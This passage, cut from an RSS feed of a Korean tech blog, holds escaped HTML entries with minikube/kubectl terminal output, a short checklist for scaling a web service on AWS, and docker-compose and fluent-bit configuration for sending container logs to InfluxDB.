/&gt;deployment.apps/hello-minikube&amp;nbsp;&amp;nbsp;&amp;nbsp;1/1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2m12s &lt;br /&gt;&lt;br /&gt;NAME&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DESIRED&amp;nbsp;&amp;nbsp;&amp;nbsp;CURRENT&amp;nbsp;&amp;nbsp;&amp;nbsp;READY&amp;nbsp;&amp;nbsp;&amp;nbsp;AGE &lt;br /&gt;replicaset.apps/hello-minikube-66fcf97965&amp;nbsp;&amp;nbsp;&amp;nbsp;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2m11s &lt;br /&gt;server@ubuntu24:~$&lt;br /&gt;&lt;br /&gt;server@ubuntu24:~$&amp;nbsp;&lt;b&gt;k&amp;nbsp;get&amp;nbsp;svc&lt;/b&gt; &lt;br /&gt;NAME&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TYPE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CLUSTER-IP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;EXTERNAL-IP&amp;nbsp;&amp;nbsp;&amp;nbsp;PORT(S)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AGE &lt;br /&gt;hello-minikube&amp;nbsp;&amp;nbsp;&amp;nbsp;NodePort&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;10.106.104.194&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;none&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;8080:30891/TCP&amp;nbsp;&amp;nbsp;&amp;nbsp;112s &lt;br /&gt;kubernetes&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ClusterIP&amp;nbsp;&amp;nbsp;&amp;nbsp;10.96.0.1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;none&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;443/TCP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;18m &lt;br /&gt;server@ubuntu24:~$ &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;server@ubuntu24:~$&amp;nbsp;&lt;b&gt;k&amp;nbsp;get&amp;nbsp;all&lt;/b&gt; &lt;br /&gt;NAME&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;READY&amp;nbsp;&amp;nbsp;&amp;nbsp;STATUS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RESTARTS&amp;nbsp;&amp;nbsp;&amp;nbsp;AGE &lt;br /&gt;pod/hello-minikube-66fcf97965-n28d6&amp;nbsp;&amp;nbsp;&amp;nbsp;1/1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Running&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;4m4s &lt;br /&gt;&lt;br /&gt;NAME&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TYPE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CLUSTER-IP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;EXTERNAL-IP&amp;nbsp;&amp;nbsp;&amp;nbsp;PORT(S)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AGE &lt;br /&gt;service/hello-minikube&amp;nbsp;&amp;nbsp;&amp;nbsp;NodePort&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;10.106.104.194&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;none&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;8080:30891/TCP&amp;nbsp;&amp;nbsp;&amp;nbsp;3m36s &lt;br /&gt;service/kubernetes&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ClusterIP&amp;nbsp;&amp;nbsp;&amp;nbsp;10.96.0.1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;none&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;443/TCP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;20m &lt;br /&gt;&lt;br /&gt;NAME&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;READY&amp;nbsp;&amp;nbsp;&amp;nbsp;UP-TO-DATE&amp;nbsp;&amp;nbsp;&amp;nbsp;AVAILABLE&amp;nbsp;&amp;nbsp;&amp;nbsp;AGE &lt;br /&gt;deployment.apps/hello-minikube&amp;nbsp;&amp;nbsp;&amp;nbsp;1/1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;4m5s &lt;br /&gt;&lt;br /&gt;NAME&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DESIRED&amp;nbsp;&amp;nbsp;&amp;nbsp;CURRENT&amp;nbsp;&amp;nbsp;&amp;nbsp;READY&amp;nbsp;&amp;nbsp;&amp;nbsp;AGE &lt;br /&gt;replicaset.apps/hello-minikube-66fcf97965&amp;nbsp;&amp;nbsp;&amp;nbsp;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;4m4s &lt;br /&gt;server@ubuntu24:~$&amp;nbsp;&lt;b&gt;kubectl&amp;nbsp;port-forward&amp;nbsp;service/hello-minikube&amp;nbsp;8080:8080&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Forwarding&amp;nbsp;from&amp;nbsp;127.0.0.1:8080&amp;nbsp;-&amp;gt;&amp;nbsp;8080 &lt;br /&gt;Forwarding&amp;nbsp;from&amp;nbsp;[::1]:8080&amp;nbsp;-&amp;gt;&amp;nbsp;8080 &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;활성화&amp;nbsp; 외부 내부 연계&lt;br /&gt;server@ubuntu24:~$&amp;nbsp;&lt;b&gt;minikube&amp;nbsp;addons&amp;nbsp;enable&amp;nbsp;ingress&lt;/b&gt; &lt;br /&gt;*&amp;nbsp;ingress&amp;nbsp;is&amp;nbsp;an&amp;nbsp;addon&amp;nbsp;maintained&amp;nbsp;by&amp;nbsp;Kubernetes.&amp;nbsp;For&amp;nbsp;any&amp;nbsp;concerns&amp;nbsp;contact&amp;nbsp;minikube&amp;nbsp;on&amp;nbsp;GitHub. &lt;br /&gt;You&amp;nbsp;can&amp;nbsp;view&amp;nbsp;the&amp;nbsp;list&amp;nbsp;of&amp;nbsp;minikube&amp;nbsp;maintainers&amp;nbsp;at:&amp;nbsp;&lt;a href=&quot;https://github.com/kubernetes/minikube/blob/master/OWNERS&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/kubernetes/minikube/blob/master/OWNERS&lt;/a&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;-&amp;nbsp;Using&amp;nbsp;image&amp;nbsp;registry.k8s.io/ingress-nginx/controller:v1.11.2 &lt;br /&gt;&amp;nbsp;&amp;nbsp;-&amp;nbsp;Using&amp;nbsp;image&amp;nbsp;registry.k8s.io/ingress-nginx/kube-webhook-certgen:v1.4.3 &lt;br /&gt;&amp;nbsp;&amp;nbsp;-&amp;nbsp;Using&amp;nbsp;image&amp;nbsp;registry.k8s.io/ingress-nginx/kube-webhook-certgen:v1.4.3 &lt;br /&gt;*&amp;nbsp;Verifying&amp;nbsp;ingress&amp;nbsp;addon...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;server@ubuntu24:~$&amp;nbsp;&lt;b&gt;k&amp;nbsp;get&amp;nbsp;service&amp;nbsp;hello-minikube&lt;/b&gt; &lt;br /&gt;NAME&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TYPE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CLUSTER-IP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;EXTERNAL-IP&amp;nbsp;&amp;nbsp;&amp;nbsp;PORT(S)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AGE &lt;br /&gt;hello-minikube&amp;nbsp;&amp;nbsp;&amp;nbsp;NodePort&amp;nbsp;&amp;nbsp;&amp;nbsp;10.106.104.194&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;none&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;8080:30891/TCP&amp;nbsp;&amp;nbsp;&amp;nbsp;13m &lt;br /&gt;server@ubuntu24:~$ &lt;br /&gt;server@ubuntu24:~$ &lt;br /&gt;server@ubuntu24:~$&amp;nbsp;&lt;b&gt;minikube&amp;nbsp;service&amp;nbsp;hello-minikube&lt;/b&gt; &lt;br /&gt;|-----------|----------------|-------------|---------------------------| &lt;br /&gt;|&amp;nbsp;NAMESPACE&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NAME&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;TARGET&amp;nbsp;PORT&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;URL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|-----------|----------------|-------------|---------------------------| &lt;br /&gt;|&amp;nbsp;default&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;hello-minikube&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;8080&amp;nbsp;|&amp;nbsp;http://192.168.49.2:30891&amp;nbsp;| &lt;br /&gt;|-----------|----------------|-------------|---------------------------| &lt;br /&gt;*&amp;nbsp;Opening&amp;nbsp;service&amp;nbsp;default/hello-minikube&amp;nbsp;in&amp;nbsp;default&amp;nbsp;browser... &lt;br /&gt;&amp;nbsp;&amp;nbsp;http://192.168.49.2:30891 &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>k8s</category>
      <category>k8s</category>
      <author>iesay</author>
      <guid isPermaLink="true">https://iesay.tistory.com/261</guid>
      <comments>https://iesay.tistory.com/261#entry261comment</comments>
      <pubDate>Tue, 19 Nov 2024 10:32:12 +0900</pubDate>
    </item>
    <item>
      <title>대용량 서비스 구축</title>
      <link>https://iesay.tistory.com/260</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;1. 앞단에 Cloudflare&amp;nbsp; &amp;nbsp;proxy 기능은 월 25$ 지불하고 꼭 서야됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; 캐쉬에서&amp;nbsp; &amp;nbsp;부하의 약 90% 처리 하도록 해야됨&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2.&amp;nbsp; EC2&amp;nbsp; &amp;nbsp;GA&amp;nbsp; 기능 활성화&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. REDIS 구축&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. Read Replicaion&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. RDS 파라메터 튜닝&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>aws</category>
      <author>iesay</author>
      <guid isPermaLink="true">https://iesay.tistory.com/260</guid>
      <comments>https://iesay.tistory.com/260#entry260comment</comments>
      <pubDate>Wed, 31 Jul 2024 15:34:20 +0900</pubDate>
    </item>
    <item>
      <title>fluent-bit , influxDB</title>
      <link>https://iesay.tistory.com/259</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;docker-compose.yml&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%; text-align: left;&quot;&gt;version:&amp;nbsp;&quot;3.9&quot; &lt;br /&gt;services: &lt;br /&gt;&amp;nbsp;&amp;nbsp;fluent-bit: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;image:&amp;nbsp;fluent/fluent-bit:latest &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;container_name:&amp;nbsp;fluent-bit &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;privileged:&amp;nbsp;true &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;user&amp;nbsp;:&amp;nbsp;root &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;volumes: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;&lt;span style=&quot;color: #006dd7;&quot;&gt;/var/lib/docker/containers/&lt;/span&gt;:&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;/docker-logs/:ro&lt;/b&gt;&lt;/span&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;./fluent-bit.conf:/fluent-bit/etc/fluent-bit.conf &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;/home/ubuntu/fluent/output:/home/ubuntu/fluent/output&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Docker Container Log 정확한 위치&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;fluent-bit.conf&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%; text-align: left;&quot;&gt;[INPUT] &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;name&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tail &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Tag&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;node_metrics &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;path&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ee2323;&quot;&gt;&amp;nbsp;&lt;b&gt;/docker-logs/*.log&lt;/b&gt;&lt;/span&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;path_key&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;path &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;multiline.parser&amp;nbsp;&amp;nbsp;docker,&amp;nbsp;cri &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Parser&amp;nbsp;docker &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Docker_Mode&amp;nbsp;&amp;nbsp;On &lt;br /&gt;&lt;br /&gt;[SERVICE] &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Flush&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Parsers_File&amp;nbsp;parsers.conf &lt;br /&gt;&lt;br /&gt;[OUTPUT] &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Name&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;influxdb &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Match&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;* &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Host&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;b&gt;호스트주소&lt;/b&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Port&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;8086 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Bucket&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ee2323;&quot;&gt;버킷명&lt;/span&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Org&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;b&gt;조직아이디&amp;nbsp;0232313aaaa&lt;/b&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HTTP_Token&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;b&gt;influxdb&amp;nbsp;토큰&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OUTPUT&amp;nbsp; influxDB에 던지는 방법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버에 대한 부하도 굉장히 적다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;parsers.conf&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%; text-align: left;&quot;&gt;[PARSER] &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Name&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;springboot &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Format&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;regex &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Regex&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(?&amp;lt;time&amp;gt;\d{4}-\d{1,2}-\d{1,2}&amp;nbsp;\d{1,2}:\d{1,2}:\d{1,2}.\d{1,3})&amp;nbsp;(?&amp;lt;level&amp;gt;[^&amp;nbsp;]*)&amp;nbsp;(?&amp;lt;number&amp;gt;\d*)&amp;nbsp;---&amp;nbsp;(?&amp;lt;thread&amp;gt;\[[^&amp;nbsp;]*)&amp;nbsp;(?&amp;lt;logger&amp;gt;[^&amp;nbsp;]*)&amp;nbsp;*:&amp;nbsp;(?&amp;lt;message&amp;gt;[^&amp;nbsp;].*)$ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Time_Key&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;time &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Time_Format&amp;nbsp;%Y-%m-%d&amp;nbsp;%H:%M:%S.%L &lt;br /&gt;&lt;br /&gt;[PARSER] &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Name&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;docker &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Format&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;json &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Time_Key&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;time &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Time_Format&amp;nbsp;&amp;nbsp;%Y-%m-%dT%H:%M:%S.%L &lt;br 